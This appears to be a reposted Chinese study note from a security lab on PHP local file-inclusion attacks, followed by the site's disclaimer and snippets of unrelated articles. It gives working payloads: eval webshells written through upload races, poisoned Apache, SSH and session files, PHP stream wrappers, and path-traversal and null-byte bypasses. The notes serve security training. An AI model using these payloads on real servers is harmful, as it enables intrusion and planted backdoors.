PET-文件包含-FINISHED

include发生错误报warning,继续执行。require发生错误直接error,不继续执行

无视扩展名,只要能解析,就能当可执行文件执行,哪怕文件后缀或没后缀

1  条件竞争  pass17  只需要知道tmp的路径。把xieshell.jpg上传,抓包反复上传。文件包含xieshell.jpg,如果成功了会生成shell.php(与包含的页面同路径).

<?php fputs(fopen("./shelln.php","w"),'<?php @eval($_POST[cmd]);?>')?>

2 读文件

3  解析.jpg  前提是知道文件名

也可以解析xieshell.php,会在与当前页面同路径下生成shell,如下图,还是会在BaoHan.php的同路径下生成shell

4 包含日志文件,需要知道文件路径。XAMPP的日志的默认路径:c:/xampp2/apache/logs/error.log     Linux:/var/log/apache2//var/log/httpd/中error_logerror.log

首先随意抓包,GET部分写一句话  <?php @eval($_POST[123]);?>

之后日志中出现错误信息

但蚁剑连不上

推测的原因是日志内容太多。为了验证,将error.log复制为error3.log,仍然连不上,但把一句话所在错误粘到日志前面几行就可以连接。

5  包含ssh文件    ssh  root@1.1.1.1  可以把root改为一句话

SSH日志Getshell

利用条件:需要知道ssh-log的位置,且可读。默认情况下为 /var/log/auth.log

用ssh连接

ubuntu:~$ ssh '<?php phpinfo(); ?>'@remotehost
包含FTP日志

利用条件:将用户名填写成PHP代码

8   包含临时文件

利用条件:上传文件,会创建临时文件。在临时文件被删除之前,利用竞争即可包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。

另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。

7   包含session文件。

通过phpinfo的信息可以获取到session的存储位置。

通过phpinfo的信息,获取到session.save_path为C:\XAMPP2\tmp。

通过猜测默认的session存放位置进行尝试。

linux下默认存储在/var/lib/php/session

php的session的文件名为sess_+sessionid,sessionid可以通过开发者模式获取。【如果找不到清除所有的cookie】

先到session页面下,ctfs传值会写到session文件中,

http://192.168.100.200/baohan/session.php?ctfs=<?php fputs(fopen("./shell123.php","w"),'<?php @eval($_POST[cmd]);?>')?>

F12可以获取sessionid,则拼接为session文件名  sess_nqn4jjhe0em9i0dc9lari29k61

验证一下

然后到包含页面包含session文件

在baohan目录下生成shell123.php

8  file协议   有时候不带file也行,需要试

9  php://input    post传值  这里直接执行写文件,shella保存在页面同路径下

10   反向shell   脚本不给,代码在RCE

11   姿势1      data://text/plain,

姿势2      ?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b      把命令转成base64    再把+转为URL

12    filter      文件包含读不出来,file读不出来。可能是文件内容有敏感字符。

?page=php://filter/read=convert.base64-encode/resource=c:/key.cisp

13 phar://     先把phpinfo.txt压缩为.zip, 再重命名为1.jpg   放在靶机1 C:\XAMPP2\htdocs\baohan              ?page=phar://1.jpg/phpinfo.txt   可以换成写webshell的代码

也可以把脚本换成wen  

14   zip     ?page=zip://c:/xampp2/htdocs/baohan/1.jpg%23phpinfo.txt    需要绝对路径 %23是#

15  远程文件包含   如果不能上传到服务器

能碰到的情况基本不开远程文件包含,能开本地文件包含就不错了

16  前缀限制    http://192.168.100.200/baohan/qian.php?file=/../passwords.txt

如果有过滤,可以双写, 可以url编码点和斜杠    ?file=%2f..%2fpasswords.txt

最多把百分号再url编码    ?file=..%252fphpinfo.php   但这个环境不行

(java可以将某些特殊字符解析成点)

17  后缀限制

?filename=./phpinfo.txt%00  不行,因为版本太高  换XSS机器

?filename=phpinfo.txt%00  也可以      ./表示当前目录

超过256字节会被丢弃。Linux要超过4096    版本也不能高。

还可以远程包含 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/60903.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

rust逆向初探

rust 逆向葵花宝典 rust逆向技巧 rust逆向三板斧&#xff1a; [!NOTE] 快速定位关键函数 (真正的main函数)&#xff1a;观察输出、输入&#xff0c;字符串搜索&#xff0c;断点等方法。定位关键 加密区 &#xff1a;根据输入的flag&#xff0c;打硬件断点&#xff0c;快速捕获…

macbook git 设置和远程克隆项目

step1: git安装 step2: git配置 step3: ssh配置 Git的基本操作(Mac版)_mac gitbash-CSDN博客

vue项目npm run serve出现【- Network: unavailable】(从排查到放弃)

1. 问题现象 环境&#xff1a; 系统&#xff1a;win11node&#xff1a;v16.20.2“vue”: “2.6.10” 执行npm run serve启动vue项目&#xff0c;期望&#xff1a; App running at:- Local: http://localhost:9528/ - Network: http://x.x.x.x:9528/实际&#xff1a; App runn…

同比缩放,64的倍数,最大值

目录 opencv实现 opencv实现&#xff0c;只有缩小 import globimport cv2def resize_image(image, max_area800 * 400):original_height, original_width image.shape[:2]max_area_found 0best_resized_image None# 确定最小缩放比例&#xff0c;避免过度缩小导致图像信息…

项目技术栈-解决方案-web3去中心化

web3去中心化 Web3 DApp区块链:钱包:智能合约:UI:ETH系开发技能树DeFi应用 去中心化金融P2P 去中心化网络参考Web3 DApp 区块链: 以以太坊(Ethereum)为主流,也包括Solana、Aptos等其他非EVM链。 区块链本身是软件,需要运行在一系列节点上,这些节点组成P2P网络或者半…

STM32 标准库函数 GPIO_SetBits、GPIO_ResetBits、GPIO_WriteBit、GPIO_Write 区别

GPIO_SetBits&#xff1a; 使用例&#xff1a; GPIO_SetBits(GPIOA, GPIO_Pin_1 | GPIO_Pin_2);意思是将GPIOA1和GPIOA2设为高电平 GPIO_SetBits(GPIOA, 0x0003);意思也是将GPIOA1和GPIOA2设为高电平 实际上当选中GPIOA时&#xff0c;它会按位遍历&#xff0c;在哪一位有1说…

贝叶斯网络——基于概率的图模型(详解)

贝叶斯网络&#xff08;Bayesian Network&#xff0c;简称BN&#xff09;是一种基于概率图模型的表示方法&#xff0c;用于表示变量之间的依赖关系&#xff0c;并通过条件概率推断变量间的关系。它通过有向无环图&#xff08;DAG&#xff09;来描述变量之间的依赖关系&#xff…

[智能车摄像头是一种安装在汽车上用于辅助驾驶和提高安全性的重要设备]

智能车摄像头是一种安装在汽车上用于辅助驾驶和提高安全性的重要设备。它们通常包括几个不同类型&#xff0c;如前视摄像头、环视摄像头、行车记录仪等。这些摄像头的主要功能有&#xff1a; 前视摄像头&#xff08;Forward Camera&#xff09;&#xff1a;用于提供驾驶员前方…

用WordPress需要学习哪些编程知识

要使用WordPress搭建和管理网站&#xff0c;您需要掌握一些基本的编程知识。以下是一些关键的技能和概念&#xff1a; 基本编程知识 – HTML&#xff1a;用于构建网页的结构。 – CSS&#xff1a;用于设计和布局网页。 – PHP&#xff1a;WordPress是基于PHP的&#xff0c;…

numpy中的transpose()和pytorch中的permute()

它们都用于重新排列张量的维度&#xff0c;但在实现细节和使用方式上有所不同 numpy.transpose numpy.transpose 函数用于重新排列数组的维度。它接受一个元组作为参数&#xff0c;表示新的维度顺序。 numpy.transpose(a, axesNone) a&#xff1a;输入的数组。 axes&#xff…

linux,一、部署LNMP环境二、配置动静分离三、地址重写四、编写systemd Unit文件

一、部署LNMP环境 二、配置动静分离 三、地址重写 四、编写systemd Unit文件一、部署LNMP环境 环境说明 主机名 IP地址 角色 server1&#xff08;已存在&#xff09; eth0&#xff1a;192.168.88.254/24 客户端 proxy&#xff08;已存在&#xff09; eth0&#xff1a;192.168.8…

组件间通信(组件间传递数据)

组件间通信(组件间传递数据) 在 Vue.js 中&#xff0c;组件间通信是开发者需要经常处理的任务&#xff0c;特别是在构建具有多层次组件的复杂应用时。根据组件之间的关系和数据流的复杂程度&#xff0c;可以采用不同的通信方式。以下是常用的几种组件间通信方式&#xff1a; …

使用Element UI实现前端分页,及el-table表格跨页选择数据,切换分页保留分页数据,限制多选数量

文章目录 一、前端分页1、模板部分 (\<template>)2、数据部分 (data)3、计算属性 (computed)4、方法 (methods) 二、跨页选择1、模板部分 (\<template>)2、数据部分 (data)3、方法 (methods) 三、限制数量1、模板部分 (\<template>)2、数据部分 (data)3、方法…

git常用命令+搭vscode使用

1.克隆远程代码 git clone http:xxx git clone ssh:xxx clone的url 中 https和 ssh是有区别的: git中SSH和HTTP连接有什么区别-CSDN博客 当然https拉下来的代码每次pull /push都需要验证一次自己的账户和密码,可以config进行配置不用每次手敲: 解决VScode中每次git pu…

我的docker随笔45:在龙芯平台安装docker

本文介绍在龙芯平台安装docker。 前言 2017年下半年开始接触docker时&#xff0c;那会李大锤刚刚会爬&#xff0c;而今年&#xff08;2024年&#xff09;下半年&#xff0c;李大锤已经是一个经常考得C并且经常和妹妹吵架的二年级学生了。这么多年就过去&#xff0c;docker一直…

GitLab 如何跨版本升级?

本分分享 GitLab 跨版本升级的一些注意事项。 众所周知&#xff0c;GitLab 的升级必须要严格遵循升级路径&#xff0c;否则就会出现问题&#xff0c;导致升级失败。因此&#xff0c;在 GitLab 升级之前需要做好两件事情&#xff1a; 当前版本的确认升级路径的确认 极狐GitLa…

网上商城系统设计与Spring Boot框架

3 系统分析 当用户确定开发一款程序时&#xff0c;是需要遵循下面的顺序进行工作&#xff0c;概括为&#xff1a;系统分析–>系统设计–>系统开发–>系统测试&#xff0c;无论这个过程是否有变更或者迭代&#xff0c;都是按照这样的顺序开展工作的。系统分析就是分析系…

hive alter table add columns 是否使用 cascade 的方案

结论 alter table xxx add columns 时加上 cascade 时&#xff0c;会把所有的分区都加上此字段。如果不加则只有新的分区会加上此字段&#xff0c;旧的分区没有此字段&#xff0c;即便数据文件里有对应的数据&#xff0c;也不能显示内容。 如果分区都是 insert overwrite 生成…

C#笔记(3)

好的OOP程序--->模块合理、结构清晰、程序规范、注释明确、运行流畅、维护容易、扩展方法。 OOP是学习各种编程的原则、方法、技巧、经验、模式、架构等。 所有面向对象的编程语言&#xff0c;都是把我们要处理的”数据“和”行为“封装到类中。 1、设计类 2、关联类 3…

LabVIEW 实现 find_nearest_neighbors 功能(二维平面上的最近邻查找)

1. 背景介绍 在数据分析和图像处理领域&#xff0c;经常需要查找给定点的最近邻居点。在LabVIEW中&#xff0c;计算二维平面上多个点之间的欧氏距离&#xff0c;并返回距离最近的几个点是一种常见操作。find_nearest_neighbors 函数用于实现这个功能。 2. 欧氏距离计算 在二维…